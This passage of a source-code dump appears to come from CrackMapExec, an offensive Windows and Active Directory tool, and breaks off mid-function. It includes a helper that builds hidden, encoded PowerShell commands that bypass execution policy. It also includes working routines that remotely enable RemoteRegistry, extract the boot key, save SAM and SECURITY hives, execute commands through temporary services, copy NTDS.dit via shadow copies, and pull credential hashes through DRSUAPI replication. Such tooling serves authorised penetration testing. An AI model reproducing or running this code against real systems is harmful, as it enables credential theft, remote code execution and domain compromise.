force_ps32: 33 | command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) 34 | 35 | return command 36 | 37 | def highlight(text, color='yellow'): 38 | if color == 'yellow': 39 | return u'{}'.format(colored(text, 'yellow', attrs=['bold'])) 40 | elif color == 'red': 41 | return u'{}'.format(colored(text, 'red', attrs=['bold'])) -------------------------------------------------------------------------------- /core/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import re 4 | from termcolor import colored 5 | from datetime import datetime 6 | 7 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file 8 | #There must be a better way of doing this... 9 | 10 | ansi_escape = re.compile(r'\x1b[^m]*m') 11 | 12 | def antiansi_emit(self, record): 13 | 14 | if self.stream is None: 15 | self.stream = self._open() 16 | 17 | record.msg = ansi_escape.sub('', record.message) 18 | logging.StreamHandler.emit(self, record) 19 | 20 | logging.FileHandler.emit = antiansi_emit 21 | 22 | #################################################################### 23 | 24 | class CMEAdapter(logging.LoggerAdapter): 25 | 26 | def __init__(self, logger, extra=None): 27 | self.logger = logger 28 | self.extra = extra 29 | 30 | def process(self, msg, kwargs): 31 | if self.extra is None: 32 | return u'{}'.format(msg), kwargs 33 | 34 | #If the logger is being called when hooking the 'options' module function 35 | if len(self.extra) == 1 and ('module' in self.extra.keys()): 36 | return u'{:<59} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs 37 | 38 | #If the logger is being called from CMEServer 39 | if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()): 40 | return u'{:<25} {:<33} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs 41 | 42 | #If the logger is being called from the main Connector function 43 | if 'module' in self.extra.keys(): 44 | module_name = colored(self.extra['module'], 'cyan', attrs=['bold']) 45 | else: 46 | module_name = colored('CME', 'blue', attrs=['bold']) 47 | 48 | return u'{:<25} {}:{} {:<15} {}'.format(module_name, 49 | self.extra['host'], 50 | self.extra['port'], 51 | self.extra['hostname'] if self.extra['hostname'] else 'NONE', 52 | msg), kwargs 53 | 54 | def info(self, msg, *args, **kwargs): 55 | msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs) 56 | self.logger.info(msg, *args, **kwargs) 57 | 58 | def error(self, msg, *args, **kwargs): 59 | msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs) 60 | self.logger.error(msg, *args, **kwargs) 61 | 62 | def debug(self, msg, *args, **kwargs): 63 | pass 64 | 65 | def success(self, msg, *args, **kwargs): 66 | msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs) 67 | self.logger.info(msg, *args, **kwargs) 68 | 69 | def highlight(self, msg, *args, **kwargs): 70 | msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs) 71 | self.logger.info(msg, *args, **kwargs) 72 | 73 | #For impacket's tds library 74 | def logMessage(self, message): 75 | self.highlight(message) 76 | 77 | def setup_debug_logger(): 78 | debug_output_string = "%(asctime)s {:<59} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold'])) 79 | formatter = logging.Formatter(debug_output_string, datefmt="%m-%d-%Y %H:%M:%S") 80 | streamHandler = logging.StreamHandler(sys.stdout) 81 | streamHandler.setFormatter(formatter) 82 | 83 | root_logger = logging.getLogger() 84 | root_logger.propagate = False 85 | root_logger.addHandler(streamHandler) 86 | #root_logger.addHandler(fileHandler) 87 | root_logger.setLevel(logging.DEBUG) 88 | return root_logger 89 | 90 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'): 91 | 92 | formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S") 93 | 94 | if log_to_file: 95 | if not log_prefix: 96 | log_prefix = 'log' 97 | 98 | log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d')) 99 | fileHandler = logging.FileHandler('./logs/{}'.format(log_filename)) 100 | fileHandler.setFormatter(formatter) 101 | 102 | streamHandler = logging.StreamHandler(sys.stdout) 103 | streamHandler.setFormatter(formatter) 104 | 105 | cme_logger = logging.getLogger(logger_name) 106 | cme_logger.propagate = False 107 | cme_logger.addHandler(streamHandler) 108 | 109 | if log_to_file: 110 | cme_logger.addHandler(fileHandler) 111 | 112 | cme_logger.setLevel(level) 113 | 114 | return cme_logger -------------------------------------------------------------------------------- /core/mssql.py: -------------------------------------------------------------------------------- 1 | from impacket import tds 2 | from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ 3 | TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE 4 | 5 | #We hook these functions in the tds library to use CME's logger instead of printing the output to stdout 6 | #The whole tds library in impacket needs a good overhaul to preserve my sanity 7 | 8 | def printRowsCME(self): 9 | if self.lastError is True: 10 | return 11 | out = '' 12 | self.processColMeta() 13 | #self.printColumnsHeader() 14 | for row in self.rows: 15 | for col in self.colMeta: 16 | if row[col['Name']] != 'NULL': 17 | out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n' 18 | 19 | return out 20 | 21 | def printRepliesCME(self): 22 | for keys in self.replies.keys(): 23 | for i, key in enumerate(self.replies[keys]): 24 | if key['TokenType'] == TDS_ERROR_TOKEN: 25 | error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) 26 | self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) 27 | self._MSSQL__rowsPrinter.error(error) 28 | 29 | elif key['TokenType'] == TDS_INFO_TOKEN: 30 | self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) 31 | 32 | elif key['TokenType'] == TDS_LOGINACK_TOKEN: 33 | self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) 34 | 35 | elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: 36 | if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): 37 | record = TDS_ENVCHANGE_VARCHAR(key['Data']) 38 | if record['OldValue'] == '': 39 | record['OldValue'] = 'None'.encode('utf-16le') 40 | elif record['NewValue'] == '': 41 | record['NewValue'] = 'None'.encode('utf-16le') 42 | if key['Type'] == TDS_ENVCHANGE_DATABASE: 43 | _type = 'DATABASE' 44 | elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: 45 | _type = 'LANGUAGE' 46 | elif key['Type'] == TDS_ENVCHANGE_CHARSET: 47 | _type = 'CHARSET' 48 | elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: 49 | _type = 'PACKETSIZE' 50 | else: 51 | _type = "%d" % key['Type'] 52 | self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) 53 | 54 | tds.MSSQL.printReplies = printRepliesCME 55 | tds.MSSQL.printRows = printRowsCME -------------------------------------------------------------------------------- /core/remotefile.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA 2 | 3 | class RemoteFile: 4 | def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): 5 | self.__smbConnection = smbConnection 6 | self.__share = share 7 | self.__access = access 8 | self.__fileName = fileName 9 | self.__tid = self.__smbConnection.connectTree(share) 10 | self.__fid = None 11 | self.__currentOffset = 0 12 | 13 | def open(self): 14 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) 15 | 16 | def seek(self, offset, whence): 17 | # Implement whence, for now it's always from the beginning of the file 18 | if whence == 0: 19 | self.__currentOffset = offset 20 | 21 | def read(self, bytesToRead): 22 | if bytesToRead > 0: 23 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 24 | self.__currentOffset += len(data) 25 | return data 26 | return '' 27 | 28 | def close(self): 29 | if self.__fid is not None: 30 | self.__smbConnection.closeFile(self.__tid, self.__fid) 31 | self.__fid = None 32 | 33 | def delete(self): 34 | self.__smbConnection.deleteFile(self.__share, self.__fileName) 35 | 36 | def tell(self): 37 | return self.__currentOffset 38 | 39 | def __str__(self): 40 | return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName) -------------------------------------------------------------------------------- /core/remoteoperations.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import random 3 | import string 4 | from gevent import sleep 5 | from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm 6 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 7 | from impacket.dcerpc.v5.dtypes import NULL 8 | from core.credentials.ntds import NTDSHashes 9 | from binascii import unhexlify, hexlify 10 | from core.remotefile import RemoteFile 11 | 12 | class RemoteOperations: 13 | def __init__(self, smbConnection, doKerberos): 14 | self.__smbConnection = smbConnection 15 | self.__smbConnection.setTimeout(5*60) 16 | self.__serviceName = 'RemoteRegistry' 17 | self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 18 | self.__rrp = None 19 | self.__regHandle = None 20 | 21 | self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' 22 | self.__samr = None 23 | self.__domainHandle = None 24 | self.__domainName = None 25 | 26 | self.__drsr = None 27 | self.__hDrs = None 28 | self.__NtdsDsaObjectGuid = None 29 | self.__ppartialAttrSet = None 30 | self.__prefixTable = [] 31 | self.__doKerberos = doKerberos 32 | 33 | self.__bootKey = '' 34 | self.__disabled = False 35 | self.__shouldStop = False 36 | self.__started = False 37 | 38 | self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 39 | self.__scmr = None 40 | self.__tmpServiceName = None 41 | self.__serviceDeleted = False 42 | 43 | self.__batchFile = '%TEMP%\\execute.bat' 44 | self.__shell = '%COMSPEC% /Q /c ' 45 | self.__output = '%SYSTEMROOT%\\Temp\\__output' 46 | self.__answerTMP = '' 47 | 48 | def __connectSvcCtl(self): 49 | rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 50 | rpc.set_smb_connection(self.__smbConnection) 51 | self.__scmr = rpc.get_dce_rpc() 52 | self.__scmr.connect() 53 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 54 | 55 | def __connectWinReg(self): 56 | rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 57 | rpc.set_smb_connection(self.__smbConnection) 58 | self.__rrp = rpc.get_dce_rpc() 59 | self.__rrp.connect() 60 | self.__rrp.bind(rrp.MSRPC_UUID_RRP) 61 | 62 | def connectSamr(self, domain): 63 | rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) 64 | rpc.set_smb_connection(self.__smbConnection) 65 | self.__samr = rpc.get_dce_rpc() 66 | self.__samr.connect() 67 | self.__samr.bind(samr.MSRPC_UUID_SAMR) 68 | resp = samr.hSamrConnect(self.__samr) 69 | serverHandle = resp['ServerHandle'] 70 | 71 | resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) 72 | resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) 73 | self.__domainHandle = resp['DomainHandle'] 74 | self.__domainName = domain 75 | 76 | def __connectDrds(self): 77 | stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, 78 | protocol='ncacn_ip_tcp') 79 | rpc = transport.DCERPCTransportFactory(stringBinding) 80 | if hasattr(rpc, 'set_credentials'): 81 | # This method exists only for selected protocol sequences. 82 | rpc.set_credentials(*(self.__smbConnection.getCredentials())) 83 | rpc.set_kerberos(self.__doKerberos) 84 | self.__drsr = rpc.get_dce_rpc() 85 | self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 86 | if self.__doKerberos: 87 | self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 88 | self.__drsr.connect() 89 | self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 90 | 91 | request = drsuapi.DRSBind() 92 | request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 93 | drs = drsuapi.DRS_EXTENSIONS_INT() 94 | drs['cb'] = len(drs) #- 4 95 | drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION 96 | drs['SiteObjGuid'] = drsuapi.NULLGUID 97 | drs['Pid'] = 0 98 | drs['dwReplEpoch'] = 0 99 | drs['dwFlagsExt'] = 0 100 | drs['ConfigObjGUID'] = drsuapi.NULLGUID 101 | drs['dwExtCaps'] = 127 102 | request['pextClient']['cb'] = len(drs) 103 | request['pextClient']['rgb'] = list(str(drs)) 104 | resp = self.__drsr.request(request) 105 | if logging.getLogger().level == logging.DEBUG: 106 | logging.debug('DRSBind() answer') 107 | resp.dump() 108 | 109 | self.__hDrs = resp['phDrs'] 110 | 111 | # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 112 | resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) 113 | if logging.getLogger().level == logging.DEBUG: 114 | logging.debug('DRSDomainControllerInfo() answer') 115 | resp.dump() 116 | 117 | if resp['pmsgOut']['V2']['cItems'] > 0: 118 | self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 119 | else: 120 | logging.error("Couldn't get DC info for domain %s" % self.__domainName) 121 | raise Exception('Fatal, aborting') 122 | 123 | def getDrsr(self): 124 | return self.__drsr 125 | 126 | def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 127 | formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): 128 | if self.__drsr is None: 129 | self.__connectDrds() 130 | 131 | resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 132 | return resp 133 | 134 | def DRSGetNCChanges(self, userEntry): 135 | if self.__drsr is None: 136 | self.__connectDrds() 137 | 138 | request = drsuapi.DRSGetNCChanges() 139 | request['hDrs'] = self.__hDrs 140 | request['dwInVersion'] = 8 141 | 142 | request['pmsgIn']['tag'] = 8 143 | request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 144 | request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 145 | 146 | dsName = drsuapi.DSNAME() 147 | dsName['SidLen'] = 0 148 | dsName['Guid'] = drsuapi.NULLGUID 149 | dsName['Sid'] = '' 150 | dsName['NameLen'] = len(userEntry) 151 | dsName['StringName'] = (userEntry + '\x00') 152 | 153 | dsName['structLen'] = len(dsName.getData()) 154 | 155 | request['pmsgIn']['V8']['pNC'] = dsName 156 | 157 | request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 158 | request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 159 | 160 | request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 161 | 162 | request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 163 | request['pmsgIn']['V8']['cMaxObjects'] = 1 164 | request['pmsgIn']['V8']['cMaxBytes'] = 0 165 | request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 166 | if self.__ppartialAttrSet is None: 167 | self.__prefixTable = [] 168 | self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 169 | self.__ppartialAttrSet['dwVersion'] = 1 170 | self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) 171 | for attId in NTDSHashes.ATTRTYP_TO_ATTID.values(): 172 | self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 173 | request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 174 | request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 175 | request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 176 | request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 177 | 178 | return self.__drsr.request(request) 179 | 180 | def getDomainUsers(self, enumerationContext=0): 181 | if self.__samr is None: 182 | self.connectSamr(self.getMachineNameAndDomain()[1]) 183 | 184 | try: 185 | resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, 186 | userAccountControl=samr.USER_NORMAL_ACCOUNT | \ 187 | samr.USER_WORKSTATION_TRUST_ACCOUNT | \ 188 | samr.USER_SERVER_TRUST_ACCOUNT |\ 189 | samr.USER_INTERDOMAIN_TRUST_ACCOUNT, 190 | enumerationContext=enumerationContext) 191 | except DCERPCException, e: 192 | if str(e).find('STATUS_MORE_ENTRIES') < 0: 193 | raise 194 | resp = e.get_packet() 195 | return resp 196 | 197 | def ridToSid(self, rid): 198 | if self.__samr is None: 199 | self.connectSamr(self.getMachineNameAndDomain()[1]) 200 | resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) 201 | return resp['Sid'] 202 | 203 | 204 | def getMachineNameAndDomain(self): 205 | if self.__smbConnection.getServerName() == '': 206 | # No serverName.. this is either because we're doing Kerberos 207 | # or not receiving that data during the login process. 208 | # Let's try getting it through RPC 209 | rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') 210 | rpc.set_smb_connection(self.__smbConnection) 211 | dce = rpc.get_dce_rpc() 212 | dce.connect() 213 | dce.bind(wkst.MSRPC_UUID_WKST) 214 | resp = wkst.hNetrWkstaGetInfo(dce, 100) 215 | dce.disconnect() 216 | return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1] 217 | else: 218 | return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() 219 | 220 | def getDefaultLoginAccount(self): 221 | try: 222 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 223 | keyHandle = ans['phkResult'] 224 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') 225 | username = dataValue[:-1] 226 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') 227 | domain = dataValue[:-1] 228 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 229 | if len(domain) > 0: 230 | return '%s\\%s' % (domain,username) 231 | else: 232 | return username 233 | except: 234 | return None 235 | 236 | def getServiceAccount(self, serviceName): 237 | try: 238 | # Open the service 239 | ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) 240 | serviceHandle = ans['lpServiceHandle'] 241 | resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) 242 | account = resp['lpServiceConfig']['lpServiceStartName'][:-1] 243 | scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) 244 | if account.startswith('.\\'): 245 | account = account[2:] 246 | return account 247 | except Exception, e: 248 | logging.error(e) 249 | return None 250 | 251 | def __checkServiceStatus(self): 252 | # Open SC Manager 253 | ans = scmr.hROpenSCManagerW(self.__scmr) 254 | self.__scManagerHandle = ans['lpScHandle'] 255 | # Now let's open the service 256 | ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 257 | self.__serviceHandle = ans['lpServiceHandle'] 258 | # Let's check its status 259 | ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 260 | if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 261 | logging.info('Service %s is in stopped state'% self.__serviceName) 262 | self.__shouldStop = True 263 | self.__started = False 264 | elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 265 | logging.debug('Service %s is already running'% self.__serviceName) 266 | self.__shouldStop = False 267 | self.__started = True 268 | else: 269 | raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 270 | 271 | # Let's check its configuration if service is stopped, maybe it's disabled :s 272 | if self.__started is False: 273 | ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) 274 | if ans['lpServiceConfig']['dwStartType'] == 0x4: 275 | logging.info('Service %s is disabled, enabling it'% self.__serviceName) 276 | self.__disabled = True 277 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) 278 | logging.info('Starting service %s' % self.__serviceName) 279 | scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) 280 | sleep(1) 281 | 282 | def enableRegistry(self): 283 | self.__connectSvcCtl() 284 | self.__checkServiceStatus() 285 | self.__connectWinReg() 286 | 287 | def __restore(self): 288 | # First of all stop the service if it was originally stopped 289 | if self.__shouldStop is True: 290 | logging.info('Stopping service %s' % self.__serviceName) 291 | scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 292 | if self.__disabled is True: 293 | logging.info('Restoring the disabled state for service %s' % self.__serviceName) 294 | scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) 295 | if self.__serviceDeleted is False: 296 | # Check again the service we created does not exist, starting a new connection 297 | # Why?.. Hitting CTRL+C might break the whole existing DCE connection 298 | try: 299 | rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) 300 | if hasattr(rpc, 'set_credentials'): 301 | # This method exists only for selected protocol sequences. 302 | rpc.set_credentials(*self.__smbConnection.getCredentials()) 303 | rpc.set_kerberos(self.__doKerberos) 304 | self.__scmr = rpc.get_dce_rpc() 305 | self.__scmr.connect() 306 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 307 | # Open SC Manager 308 | ans = scmr.hROpenSCManagerW(self.__scmr) 309 | self.__scManagerHandle = ans['lpScHandle'] 310 | # Now let's open the service 311 | resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) 312 | service = resp['lpServiceHandle'] 313 | scmr.hRDeleteService(self.__scmr, service) 314 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 315 | scmr.hRCloseServiceHandle(self.__scmr, service) 316 | scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) 317 | scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) 318 | rpc.disconnect() 319 | except Exception, e: 320 | # If service is stopped it'll trigger an exception 321 | # If service does not exist it'll trigger an exception 322 | # So. we just wanna be sure we delete it, no need to 323 | # show this exception message 324 | pass 325 | 326 | def finish(self): 327 | self.__restore() 328 | if self.__rrp is not None: 329 | self.__rrp.disconnect() 330 | if self.__drsr is not None: 331 | self.__drsr.disconnect() 332 | if self.__samr is not None: 333 | self.__samr.disconnect() 334 | if self.__scmr is not None: 335 | self.__scmr.disconnect() 336 | 337 | def getBootKey(self): 338 | bootKey = '' 339 | ans = rrp.hOpenLocalMachine(self.__rrp) 340 | self.__regHandle = ans['phKey'] 341 | for key in ['JD','Skew1','GBG','Data']: 342 | logging.debug('Retrieving class info for %s'% key) 343 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) 344 | keyHandle = ans['phkResult'] 345 | ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) 346 | bootKey = bootKey + ans['lpClassOut'][:-1] 347 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 348 | 349 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 350 | 351 | bootKey = unhexlify(bootKey) 352 | 353 | for i in xrange(len(bootKey)): 354 | self.__bootKey += bootKey[transforms[i]] 355 | 356 | logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey)) 357 | 358 | return self.__bootKey 359 | 360 | def checkNoLMHashPolicy(self): 361 | logging.debug('Checking NoLMHash Policy') 362 | ans = rrp.hOpenLocalMachine(self.__rrp) 363 | self.__regHandle = ans['phKey'] 364 | 365 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') 366 | keyHandle = ans['phkResult'] 367 | try: 368 | dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') 369 | except: 370 | noLMHash = 0 371 | 372 | if noLMHash != 1: 373 | logging.debug('LMHashes are being stored') 374 | return False 375 | 376 | logging.debug('LMHashes are NOT being stored') 377 | return True 378 | 379 | def __retrieveHive(self, hiveName): 380 | tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 381 | ans = rrp.hOpenLocalMachine(self.__rrp) 382 | regHandle = ans['phKey'] 383 | try: 384 | ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) 385 | except: 386 | raise Exception("Can't open %s hive" % hiveName) 387 | keyHandle = ans['phkResult'] 388 | rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) 389 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 390 | rrp.hBaseRegCloseKey(self.__rrp, regHandle) 391 | # Now let's open the remote file, so it can be read later 392 | remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) 393 | return remoteFileName 394 | 395 | def saveSAM(self): 396 | logging.debug('Saving remote SAM database') 397 | return self.__retrieveHive('SAM') 398 | 399 | def saveSECURITY(self): 400 | logging.debug('Saving remote SECURITY database') 401 | return self.__retrieveHive('SECURITY') 402 | 403 | def __executeRemote(self, data): 404 | self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') 405 | command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 406 | command += ' & ' + 'del ' + self.__batchFile 407 | 408 | self.__serviceDeleted = False 409 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) 410 | service = resp['lpServiceHandle'] 411 | try: 412 | scmr.hRStartServiceW(self.__scmr, service) 413 | except: 414 | pass 415 | scmr.hRDeleteService(self.__scmr, service) 416 | self.__serviceDeleted = True 417 | scmr.hRCloseServiceHandle(self.__scmr, service) 418 | def __answer(self, data): 419 | self.__answerTMP += data 420 | 421 | def __getLastVSS(self): 422 | self.__executeRemote('%COMSPEC% /C vssadmin list shadows') 423 | sleep(5) 424 | tries = 0 425 | while True: 426 | try: 427 | self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 428 | break 429 | except Exception, e: 430 | if tries > 30: 431 | # We give up 432 | raise Exception('Too many tries trying to list vss shadows') 433 | if str(e).find('SHARING') > 0: 434 | # Stuff didn't finish yet.. wait more 435 | sleep(5) 436 | tries +=1 437 | pass 438 | else: 439 | raise 440 | 441 | lines = self.__answerTMP.split('\n') 442 | lastShadow = '' 443 | lastShadowFor = '' 444 | 445 | # Let's find the last one 446 | # The string used to search the shadow for drive. Wondering what happens 447 | # in other languages 448 | SHADOWFOR = 'Volume: (' 449 | 450 | for line in lines: 451 | if line.find('GLOBALROOT') > 0: 452 | lastShadow = line[line.find('\\\\?'):][:-1] 453 | elif line.find(SHADOWFOR) > 0: 454 | lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] 455 | 456 | self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 457 | 458 | return lastShadow, lastShadowFor 459 | 460 | def saveNTDS(self): 461 | logging.info('Searching for NTDS.dit') 462 | # First of all, let's try to read the target NTDS.dit registry entry 463 | ans = rrp.hOpenLocalMachine(self.__rrp) 464 | regHandle = ans['phKey'] 465 | try: 466 | ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') 467 | keyHandle = ans['phkResult'] 468 | except: 469 | # Can't open the registry path, assuming no NTDS on the other end 470 | return None 471 | 472 | try: 473 | dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') 474 | ntdsLocation = dataValue[:-1] 475 | ntdsDrive = ntdsLocation[:2] 476 | except: 477 | # Can't open the registry path, assuming no NTDS on the other end 478 | return None 479 | 480 | rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 481 | rrp.hBaseRegCloseKey(self.__rrp, regHandle) 482 | 483 | logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) 484 | # Get the list of remote shadows 485 | shadow, shadowFor = self.__getLastVSS() 486 | if shadow 